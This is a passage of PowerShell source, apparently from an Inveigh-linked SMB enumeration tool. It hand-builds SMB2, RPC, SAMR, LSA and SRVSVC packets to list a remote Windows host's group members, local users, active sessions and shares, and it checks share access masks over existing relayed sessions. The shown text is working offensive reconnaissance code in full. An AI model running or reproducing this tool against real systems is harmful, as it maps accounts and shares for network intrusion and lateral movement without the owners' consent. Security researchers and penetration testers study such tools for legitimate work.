$response_domain_length + 42 } else { $response_domain_start += $response_domain_length + 40 } $response_domain = [System.BitConverter]::ToString($response_domain_bytes) $response_domain = $response_domain -replace "-00","" $response_domain = $response_domain.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_domain = New-Object System.String ($response_domain,0,$response_domain.Length) $response_domain_list += $response_domain $response_domain_length_start = $response_domain_length_start + 12 $i++ } [Byte[]]$response_user_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) $response_user_start = $response_user_count * 16 + $response_domain_start + 12 $response_user_end = $response_user_start $response_user_length_start = $response_domain_start + 4 $response_user_list = @() $i = 0 while($i -lt $response_user_count) { $response_user_object = New-Object PSObject [Byte[]]$response_user_type_bytes = $client_receive[($response_user_length_start - 4)] [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) $response_SID_index_start = $response_user_length_start + 8 [Byte[]]$response_SID_index_bytes = $client_receive[$response_SID_index_start..($response_SID_index_start + 3)] $response_SID_index = [System.BitConverter]::ToInt16($response_SID_index_bytes,0) $response_user_end = $response_user_start + $response_user_length [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] if($response_actual_count % 2) { $response_user_start += $response_user_length + 14 } else { $response_user_start += $response_user_length + 12 } if($response_user_type_bytes -eq 1) { $response_user_type = "user" } else { $response_user_type = "group" } $response_user = [System.BitConverter]::ToString($response_user_bytes) $response_user = $response_user -replace "-00","" $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_user = New-Object System.String ($response_user,0,$response_user.Length) Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Domain $response_domain_list[$response_SID_index] Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Type $response_user_type $response_user_length_start = $response_user_length_start + 16 $response_user_list += $response_user_object $i++ } if($Action -eq 'All') { Write-Output "$Group Group Members:" } Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize $stage = 'CloseRequest' } 'ParseSRVSVC' { $response_object_list = @() $share_list = @() [Byte[]]$response_count_bytes = $client_receive[152..155] $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0) $response_item_index = 164 $i = 0 while($i -lt $response_count) { if($i -gt 0) { if($response_item_length % 2) { $response_item_index += $response_item_length * 2 + 2 } else { $response_item_index += $response_item_length * 2 } } else { if($action_stage -eq 'Share') { $response_item_index += $response_count * 12 } else { $response_item_index += $response_count * 16 } } $response_item_object = New-Object PSObject [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) $response_item_index += 12 [Byte[]]$response_item_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] $response_item = [System.BitConverter]::ToString($response_item_bytes) $response_item = $response_item -replace "-00","" $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_item = New-Object System.String ($response_item,0,$response_item.Length) if($response_item_length % 2) { $response_item_index += $response_item_length * 2 + 2 } else { $response_item_index += $response_item_length * 2 } [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) $response_item_index += 12 [Byte[]]$response_item_2_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes) $response_item_2 = $response_item_2 -replace "-00","" $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length) if($action_stage -eq 'Share') { $share_list += $response_item Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Share $response_item Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Description $response_item_2 Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name "Access Mask" "" } else { Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Username $response_item_2 Add-Member -InputObject $response_item_object -MemberType NoteProperty -Name Source $response_item } $response_object_list += $response_item_object $i++ } if($Action -eq 'All' -and $action_stage -eq 'Share') { Write-Output "Shares:" } elseif($Action -eq 'All' -and $action_stage -eq 'NetSession') { Write-Output "NetSessions:" Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize } if($Action -eq 'NetSession') { Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize } $stage = 'CloseRequest' } 'ParseUsers' { [Byte[]]$response_user_count_bytes = $client_receive[148..151] $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) $response_user_start = $response_user_count * 12 + 172 $response_user_end = $response_user_start $response_RID_start = 160 $response_user_length_start = 164 $response_user_list = @() $i = 0 while($i -lt $response_user_count) { $response_user_object = New-Object PSObject [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)] $response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0) $response_user_end = $response_user_start + $response_user_length [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] if($response_actual_count % 2) { $response_user_start += $response_user_length + 14 } else { $response_user_start += $response_user_length + 12 } $response_user = [System.BitConverter]::ToString($response_user_bytes) $response_user = $response_user -replace "-00","" $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $response_user = New-Object System.String ($response_user,0,$response_user.Length) Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name RID $response_RID $response_user_length_start = $response_user_length_start + 12 $response_RID_start = $response_RID_start + 12 $response_user_list += $response_user_object $i++ } if($Action -eq 'All') { Write-Output "Local Users:" } Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize $stage = 'CloseRequest' } 'QueryGroupMember' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRQueryGroupMember $group_handle $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x19,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'QueryInfoRequest' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $file_ID $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'ReadRequest' { Start-Sleep -m $Sleep $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2ReadRequest $file_ID $packet_SMB_data["Length"] = 0x00,0x04,0x00,0x00 $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'RPCBind' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_RPC_data = New-PacketRPCBind $frag_length $call_ID $num_ctx_items 0x00,0x00 $named_pipe_UUID $named_pipe_UUID_version $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'SAMRCloseRequest' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRClose $SAMR_domain_handle $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x01,0x00 $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'StatusPending' { $client_stream.Read($client_receive,0,$client_receive.Length) > $null if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') { $stage = $stage_next } } 'StatusReceived' { switch ($stage_current) { 'CloseRequest' { if($step -eq 1) { $named_pipe = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr $stage = 'CreateRequest' } elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0) { $stage = 'TreeConnect' } else { $stage = 'TreeDisconnect' } } 'Connect2' { $step++ if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') { if($Action -eq 'All') { Write-Output "[-] $username does not have permission to enumerate groups, users, and NetSessions on $target" } else { Write-Output "[-] $username does not have permission to enumerate groups on $target" } $RPC_access_denied = $true $stage = 'CloseRequest' } else { $SID_count = 0x04,0x00,0x00,0x00 [Byte[]]$SAMR_connect_handle = $client_receive[140..159] $stage = 'OpenDomain' } } 'Connect5' { $step++ if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') { Write-Output "[-] $username does not have permission to enumerate users on $target" $stage = 'CloseRequest' } else { $SID_count = 0x04,0x00,0x00,0x00 [Byte[]]$SAMR_connect_handle = $client_receive[156..175] $stage = 'OpenDomain' } } 'CreateRequest' { if($action_stage -eq 'Share') { $frag_length = 0x48,0x00 $call_ID = 2 $num_ctx_items = 0x01 $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 $named_pipe_UUID_version = 0x03,0x00 $stage_next = 'NetShareEnumAll' } elseif($action_stage -eq 'NetSession') { $frag_length = 0x74,0x00 $call_ID = 2 $num_ctx_items = 0x02 $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 $named_pipe_UUID_version = 0x03,0x00 $stage_next = 'NetSessEnum' } elseif($step -eq 1) { $frag_length = 0x48,0x00 $call_ID = 5 $num_ctx_items = 0x01 $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac $named_pipe_UUID_version = 0x01,0x00 if($action_stage -eq 'User') { $stage_next = 'Connect5' } else { $stage_next = 'Connect2' } } elseif($step -gt 2) { $frag_length = 0x48,0x00 $call_ID = 14 $num_ctx_items = 0x01 $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab $named_pipe_UUID_version = 0x00,0x00 $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 $stage_next = 'LSAOpenPolicy' } else { $frag_length = 0x48,0x00 $call_ID = 1 $num_ctx_items = 0x01 $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab $named_pipe_UUID_version = 0x00,0x00 $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 $stage_next = 'LSAOpenPolicy' } $file_ID = $client_receive[132..147] if($Refresh -and $stage -ne 'Exit') { Write-Output "[+] Session refreshed" $stage = 'Exit' } elseif($step -ge 2) { $stage = 'RPCBind' } elseif($stage -ne 'Exit') { $stage = 'QueryInfoRequest' } } 'EnumDomainUsers' { $step++ $stage = 'ParseUsers' } 'GetMembersInAlias' { $step++ [Byte[]]$SID_array = $client_receive[140..([System.BitConverter]::ToInt16($client_receive[3..1],0) - 1)] if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') { $stage = 'SAMRCloseRequest' } else { $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc $stage = 'CreateRequest' } } 'LookupNames' { $step++ [Byte[]]$SAMR_RID = $client_receive[152..155] if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') { $stage = 'SAMRCloseRequest' } else { if($step -eq 4) { $stage = 'OpenGroup' } else { $stage = 'OpenAlias' } } } 'LookupRids' { $step++ $stage = 'ParseLookupRids' } 'LSAClose' { $stage = 'CloseRequest' } 'LSALookupSids' { $stage = 'ParseLookupSids' } 'LSAOpenPolicy' { [Byte[]]$policy_handle = $client_receive[140..159] if($step -gt 2) { $stage = 'LSALookupSids' } else { $stage = 'LSAQueryInfoPolicy' } } 'LSAQueryInfoPolicy' { [Byte[]]$LSA_domain_length_bytes = $client_receive[148..149] $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0) [Byte[]]$LSA_domain_actual_count_bytes = $client_receive[168..171] $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0) if($LSA_domain_actual_count % 2) { $LSA_domain_length += 2 } [Byte[]]$LSA_domain_SID = $client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)] $stage = 'LSAClose' } 'NetSessEnum' { if([System.BitConverter]::ToString($client_receive[172..175]) -eq '05-00-00-00') { Write-Output "[-] $username does not have permission to enumerate NetSessions on $target" $stage = 'CloseRequest' } else { $stage = 'ParseSRVSVC' } } 'NetShareEnumAll' { $stage = 'ParseSRVSVC' } 'OpenAlias' { $step++ [Byte[]]$SAMR_policy_handle = $client_receive[140..159] if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') { $stage = 'SAMRCloseRequest' } else { $stage = 'GetMembersInAlias' } } 'OpenDomain' { $step++ [Byte[]]$SAMR_domain_handle = $client_receive[140..159] if($action_stage -eq 'User') { $stage = 'EnumDomainUsers' } else { $stage = 'LookupNames' } } 'OpenGroup' { $step++ [Byte[]]$group_handle = $client_receive[140..159] $stage = 'QueryGroupMember' } 'QueryGroupMember' { $step++ [Byte[]]$RID_count_bytes = $client_receive[144..147] $RID_count = [System.BitConverter]::ToInt16($RID_count_bytes,0) [Byte[]]$RID_list = $client_receive[160..(159 + ($RID_count * 4))] $stage = 'LookupRids' } 'QueryInfoRequest' { $file_ID = $client_receive[132..147] $stage = 'RPCBind' } 'ReadRequest' { $stage = $stage_next } 'RPCBind' { $stage = 'ReadRequest' } 'SAMRCloseRequest' { $step++ if($step -eq 8) { Write-Output "[-] $Group group not found" $stage = 'TreeDisconnect' } else { if($step -eq 5 -and $action_stage -eq 'Group') { $LSA_domain_SID = 0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00 $SID_count = 0x01,0x00,0x00,0x00 } $stage = 'OpenDomain' } } 'TreeConnect' { $tree_ID = $client_receive[40..43] $access_mask = $null if($client_receive[76] -eq 92) { $tree_access_mask = 0x00,0x00,0x00,0x00 } else { $tree_access_mask = $client_receive[80..83] } if($share_list.Count -gt 0) { if($client_receive[76] -ne 92) { ForEach($byte in $tree_access_mask) { $access_mask = [System.Convert]::ToString($byte,2).PadLeft(8,'0') + $access_mask } $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} $stage = 'TreeDisconnect' } else { $access_mask = "00000000000000000000000000000000" $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} $stage = 'TreeConnect' $j++ } } else { if($action_stage -eq 'Share' -or $action_stage -eq 'NetSession') { $named_pipe = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc } else { $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc } $tree_IPC = $tree_ID $stage = 'CreateRequest' } } 'TreeDisconnect' { if($Action -eq 'All') { switch ($action_stage) { 'group' { if($RPC_access_denied) { $action_stage = "share" } else { $action_stage = "user" $step = 0 } $stage = "treeconnect" } 'user' { $action_stage = "netsession" $stage = "treeconnect" } 'netsession' { $action_stage = "share" $stage = "treeconnect" } 'share' { if($share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) { $stage = 'TreeConnect' $j++ } elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) { Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize $tree_ID = $tree_IPC $stage = 'TreeDisconnect' $j++ } else { if($inveigh_session -and !$Logoff) { $stage = 'Exit' } else { $stage = 'Logoff' } } } } } else { if($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) { $stage = 'TreeConnect' $j++ } elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) { Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize $tree_ID = $tree_IPC $stage = 'TreeDisconnect' $j++ } else { if($inveigh_session -and !$Logoff) { $stage = 'Exit' } else { $stage = 'Logoff' } } } } } } 'TreeConnect' { $message_ID++ $stage_current = $stage if($share_list.Count -gt 0) { $path = "\\" + $Target + "\" + $share_list[$j] $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) } $packet_SMB_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2TreeConnectRequest $path_bytes $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } catch { Write-Output "[-] Session connection is closed" $stage = 'Exit' } } 'TreeDisconnect' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2TreeDisconnectRequest $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } } } catch { $error_message = $_.Exception.Message $error_message = $error_message -replace "`n","" Write-Output "[-] $error_message" } } } if($inveigh_session -and $Inveigh) { $inveigh.session_lock_table[$session] = 'open' $inveigh.session_message_ID_table[$session] = $message_ID $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} } if(!$inveigh_session -or $Logoff) { $client.Close() $client_stream.Close() } } }